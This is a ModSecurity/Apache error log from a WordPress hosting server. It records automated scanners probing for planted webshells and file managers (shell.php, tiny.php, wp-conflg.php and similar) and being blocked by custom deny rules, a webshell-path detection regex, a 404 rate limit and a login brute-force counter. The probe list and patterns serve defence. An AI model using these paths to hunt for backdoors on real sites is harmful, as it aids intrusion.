[Thu Apr 23 09:58:25.478880 2026] [:error] [pid 64998:tid 65008] [client 185.192.71.32:30169] [client 185.192.71.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "ael8wYV5EysYcTLjmwiH7gAAAcY"]
[Thu Apr 23 09:58:26.057055 2026] [:error] [pid 42972:tid 43033] [client 185.192.71.34:45485] [client 185.192.71.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ael8wsOAb-3sOknsk4dMnAAAAFE"]
[Thu Apr 23 09:58:27.450352 2026] [:error] [pid 64998:tid 65010] [client 91.230.225.205:47901] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Thu Apr 23 09:58:27.728998 2026] [:error] [pid 64998:tid 65006] [client 91.230.225.205:47901] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "ael8w4V5EysYcTLjmwiH_QAAAcQ"]
[Thu Apr 23 09:58:28.267211 2026] [:error] [pid 25635:tid 25658] [client 185.192.71.21:56573] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "ael8xMRxv6UsgRGKB3IC0AAAARM"]
[Thu Apr 23 09:58:28.808376 2026] [:error] [pid 42973:tid 43064] [client 185.192.71.40:27953] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "ael8xG6I0QqmmmLTHE35PQAAAJU"]
[Thu Apr 23 09:58:31.637998 2026] [:error] [pid 25635:tid 25640] [client 91.230.225.200:25321] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Thu Apr 23 09:58:31.912348 2026] [:error] [pid 25635:tid 25653] [client 91.230.225.200:25321] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "ael8x8Rxv6UsgRGKB3IDMgAAAQ4"]
[Thu Apr 23 09:58:32.742680 2026] [:error] [pid 65000:tid 65041] [client 91.230.225.208:58451] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "ael8yL6vRb9j6psK2ZYIyAAAAgg"]
[Thu Apr 23 09:58:33.279646 2026] [:error] [pid 42972:tid 43024] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Thu Apr 23 09:58:33.558535 2026] [:error] [pid 42972:tid 43020] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Thu Apr 23 09:58:34.121783 2026] [:error] [pid 42972:tid 43026] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Thu Apr 23 09:58:35.232662 2026] [:error] [pid 42972:tid 43037] [client 91.230.225.206:39151] [client 91.230.225.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.206, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "ael8y8OAb-3sOknsk4dM0AAAAFU"]
[Thu Apr 23 09:58:35.795185 2026] [:error] [pid 42972:tid 43019] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Thu Apr 23 09:58:36.064353 2026] [:error] [pid 42972:tid 43023] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Thu Apr 23 09:58:36.343639 2026] [:error] [pid 42972:tid 43021] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Thu Apr 23 09:58:36.918316 2026] [:error] [pid 42972:tid 43028] [client 91.230.225.206:39151] [client 91.230.225.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.206, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "ael8zMOAb-3sOknsk4dM4AAAAEw"]
[Thu Apr 23 09:58:37.754451 2026] [:error] [pid 42972:tid 43023] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Thu Apr 23 09:58:38.030032 2026] [:error] [pid 42972:tid 43024] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Thu Apr 23 09:58:38.582803 2026] [:error] [pid 42972:tid 43032] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Thu Apr 23 09:58:39.135430 2026] [:error] [pid 42972:tid 43016] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Thu Apr 23 09:58:39.976810 2026] [:error] [pid 42972:tid 43020] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Thu Apr 23 09:58:41.904705 2026] [:error] [pid 42972:tid 43019] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Apr 23 09:58:42.173511 2026] [:error] [pid 42972:tid 43040] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Thu Apr 23 09:58:43.551985 2026] [:error] [pid 42972:tid 43022] [client 91.230.225.206:39151] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Thu Apr 23 09:58:44.094857 2026] [:error] [pid 42972:tid 43040] [client 91.230.225.206:39151] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "ael81MOAb-3sOknsk4dNLQAAAFg"]
[Thu Apr 23 09:58:44.632720 2026] [:error] [pid 43083:tid 43100] [client 91.230.225.201:47289] [client 91.230.225.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/atomlib.php"] [unique_id "ael81DC5hrvNXosL83IgjwAAAM8"]
[Thu Apr 23 09:58:45.750013 2026] [:error] [pid 42972:tid 43025] [client 91.230.225.13:20311] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Thu Apr 23 09:58:46.028709 2026] [:error] [pid 42972:tid 43017] [client 91.230.225.13:20311] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "ael81sOAb-3sOknsk4dNTAAAAEE"]
[Thu Apr 23 09:58:46.854286 2026] [:error] [pid 42971:tid 43005] [client 91.230.225.22:20865] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Thu Apr 23 09:58:47.121799 2026] [:error] [pid 42971:tid 43002] [client 91.230.225.22:20865] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "ael81zEP2_5RswrH8bHiygAAABA"]
[Thu Apr 23 09:58:48.225612 2026] [:error] [pid 25635:tid 25650] [client 185.192.71.24:34191] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Thu Apr 23 09:58:48.774557 2026] [:error] [pid 25635:tid 25641] [client 185.192.71.24:34191] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Thu Apr 23 09:58:49.328529 2026] [:error] [pid 25635:tid 25651] [client 185.192.71.24:34191] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Thu Apr 23 09:58:49.603477 2026] [:error] [pid 25635:tid 25645] [client 185.192.71.24:34191] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Thu Apr 23 09:58:50.166280 2026] [:error] [pid 25635:tid 25661] [client 185.192.71.24:34191] [client 185.192.71.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "ael82sRxv6UsgRGKB3IEKAAAARY"]
[Thu Apr 23 09:58:50.700378 2026] [:error] [pid 43083:tid 43085] [client 185.192.71.22:28649] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Thu Apr 23 09:58:50.969826 2026] [:error] [pid 43083:tid 43100] [client 185.192.71.22:28649] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Thu Apr 23 09:58:51.243390 2026] [:error] [pid 43083:tid 43089] [client 185.192.71.22:28649] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ael82zC5hrvNXosL83IgtwAAAMQ"]
[Thu Apr 23 09:58:52.065423 2026] [:error] [pid 25635:tid 25641] [client 91.230.225.204:21161] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ael83MRxv6UsgRGKB3IEMQAAAQI"]
[Thu Apr 23 09:58:52.888611 2026] [:error] [pid 42971:tid 42997] [client 91.230.225.11:48927] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Thu Apr 23 09:58:53.717609 2026] [:error] [pid 42971:tid 43002] [client 91.230.225.11:48927] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Thu Apr 23 09:58:54.009488 2026] [:error] [pid 42971:tid 42991] [client 91.230.225.11:48927] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Thu Apr 23 09:58:54.277601 2026] [:error] [pid 42971:tid 43007] [client 91.230.225.11:48927] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "ael83jEP2_5RswrH8bHjAgAAABU"]
[Thu Apr 23 09:58:54.807022 2026] [:error] [pid 64967:tid 64989] [client 91.230.225.11:36301] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "ael83oAV4GfOOdX8Qzo5FgAAAZQ"]
[Thu Apr 23 09:58:56.894715 2026] [:error] [pid 64967:tid 64982] [client 185.192.71.30:65133] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Thu Apr 23 09:58:57.431326 2026] [:error] [pid 64967:tid 64971] [client 185.192.71.30:65133] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "ael84YAV4GfOOdX8Qzo5VAAAAYI"]
[Thu Apr 23 09:58:58.241967 2026] [:error] [pid 64998:tid 65019] [client 185.192.71.29:27035] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "ael84oV5EysYcTLjmwiJwAAAAdE"]
[Thu Apr 23 09:58:59.071419 2026] [:error] [pid 43083:tid 43109] [client 185.192.71.36:21915] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu Apr 23 09:58:59.343011 2026] [:error] [pid 43083:tid 43105] [client 185.192.71.36:21915] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Thu Apr 23 09:58:59.614627 2026] [:error] [pid 43083:tid 43098] [client 185.192.71.36:21915] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "ael84zC5hrvNXosL83Ig4AAAAM0"]
[Thu Apr 23 09:59:00.429451 2026] [:error] [pid 64967:tid 64984] [client 91.230.225.19:56163] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Thu Apr 23 09:59:00.747664 2026] [:error] [pid 64967:tid 64981] [client 91.230.225.19:56163] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Thu Apr 23 09:59:01.294390 2026] [:error] [pid 64967:tid 64980] [client 91.230.225.19:56163] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu Apr 23 09:59:02.123519 2026] [:error] [pid 64967:tid 64976] [client 91.230.225.19:56163] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "ael85oAV4GfOOdX8Qzo5kwAAAYc"]
[Thu Apr 23 09:59:02.672619 2026] [:error] [pid 59700:tid 59718] [client 185.192.71.35:27295] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Thu Apr 23 09:59:03.495182 2026] [:error] [pid 59700:tid 59702] [client 185.192.71.35:27295] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "ael855XyGZJFeAIDWtmdKAAAAUA"]
[Thu Apr 23 09:59:04.612596 2026] [:error] [pid 64967:tid 64993] [client 91.230.225.24:36461] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Thu Apr 23 09:59:05.474860 2026] [:error] [pid 64967:tid 64969] [client 91.230.225.24:36461] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Thu Apr 23 09:59:05.779082 2026] [:error] [pid 64967:tid 64976] [client 91.230.225.24:36461] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Thu Apr 23 09:59:06.368976 2026] [:error] [pid 64967:tid 64981] [client 91.230.225.24:36461] [client 91.230.225.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.24, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "ael86oAV4GfOOdX8Qzo5vgAAAYw"]
[Thu Apr 23 09:59:07.848836 2026] [:error] [pid 64967:tid 64978] [client 91.230.225.24:36461] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "ael864AV4GfOOdX8Qzo5zQAAAYk"]
[Thu Apr 23 09:59:08.390204 2026] [:error] [pid 64967:tid 64979] [client 91.230.225.20:63411] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Thu Apr 23 09:59:08.661865 2026] [:error] [pid 64967:tid 64988] [client 91.230.225.20:63411] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "ael87IAV4GfOOdX8Qzo51wAAAZM"]
[Thu Apr 23 09:59:09.211941 2026] [:error] [pid 59700:tid 59705] [client 185.192.71.21:62035] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Thu Apr 23 09:59:09.763827 2026] [:error] [pid 59700:tid 59710] [client 185.192.71.21:62035] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Thu Apr 23 09:59:10.306005 2026] [:error] [pid 59700:tid 59723] [client 185.192.71.21:62035] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "ael87pXyGZJFeAIDWtmdmQAAAVU"]
[Thu Apr 23 09:59:11.167419 2026] [:error] [pid 64998:tid 65023] [client 185.192.71.38:50007] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Thu Apr 23 09:59:11.454201 2026] [:error] [pid 64998:tid 65019] [client 185.192.71.38:50007] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Thu Apr 23 09:59:11.734461 2026] [:error] [pid 64998:tid 65023] [client 185.192.71.38:50007] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "ael874V5EysYcTLjmwiKbAAAAdU"]
[Thu Apr 23 09:59:12.269707 2026] [:error] [pid 42972:tid 43027] [client 185.192.71.40:27485] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ael88MOAb-3sOknsk4dOXAAAAEs"]
[Thu Apr 23 09:59:12.810059 2026] [:error] [pid 42973:tid 43043] [client 91.230.225.11:34083] File does not exist: /usr/local/apache/htdocs/suspended-page/aks.php
[Thu Apr 23 09:59:16.291578 2026] [:error] [pid 42973:tid 43043] [client 91.230.225.11:34083] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Thu Apr 23 09:59:16.827658 2026] [:error] [pid 42973:tid 43065] [client 91.230.225.11:34083] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "ael89G6I0QqmmmLTHE37nAAAAJY"]
[Thu Apr 23 09:59:17.366068 2026] [:error] [pid 59700:tid 59706] [client 185.192.71.23:24087] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Thu Apr 23 09:59:17.917345 2026] [:error] [pid 59700:tid 59706] [client 185.192.71.23:24087] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iR7SzrsOUEP.php
[Thu Apr 23 09:59:18.189454 2026] [:error] [pid 59700:tid 59713] [client 185.192.71.23:24087] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "ael89pXyGZJFeAIDWtmeBgAAAUs"]
[Thu Apr 23 09:59:19.020481 2026] [:error] [pid 25635:tid 25639] [client 185.192.71.32:50203] [client 185.192.71.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "ael898Rxv6UsgRGKB3IEwwAAAQA"]
[Thu Apr 23 09:59:19.561057 2026] [:error] [pid 42972:tid 43035] [client 185.192.71.37:46021] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "ael898OAb-3sOknsk4dOiwAAAFM"]
[Thu Apr 23 09:59:20.110076 2026] [:error] [pid 64998:tid 65004] [client 91.230.225.196:57321] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "ael8-IV5EysYcTLjmwiLAwAAAcI"]
[Thu Apr 23 09:59:20.659958 2026] [:error] [pid 42973:tid 43064] [client 91.230.225.24:57857] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "ael8-G6I0QqmmmLTHE37xQAAAJU"]
[Thu Apr 23 09:59:21.220849 2026] [:error] [pid 42973:tid 43045] [client 185.192.71.39:49149] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "ael8-W6I0QqmmmLTHE37zQAAAII"]
[Thu Apr 23 09:59:21.789741 2026] [:error] [pid 42971:tid 42999] [client 91.230.225.199:41901] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "ael8-TEP2_5RswrH8bHj1wAAAA0"]
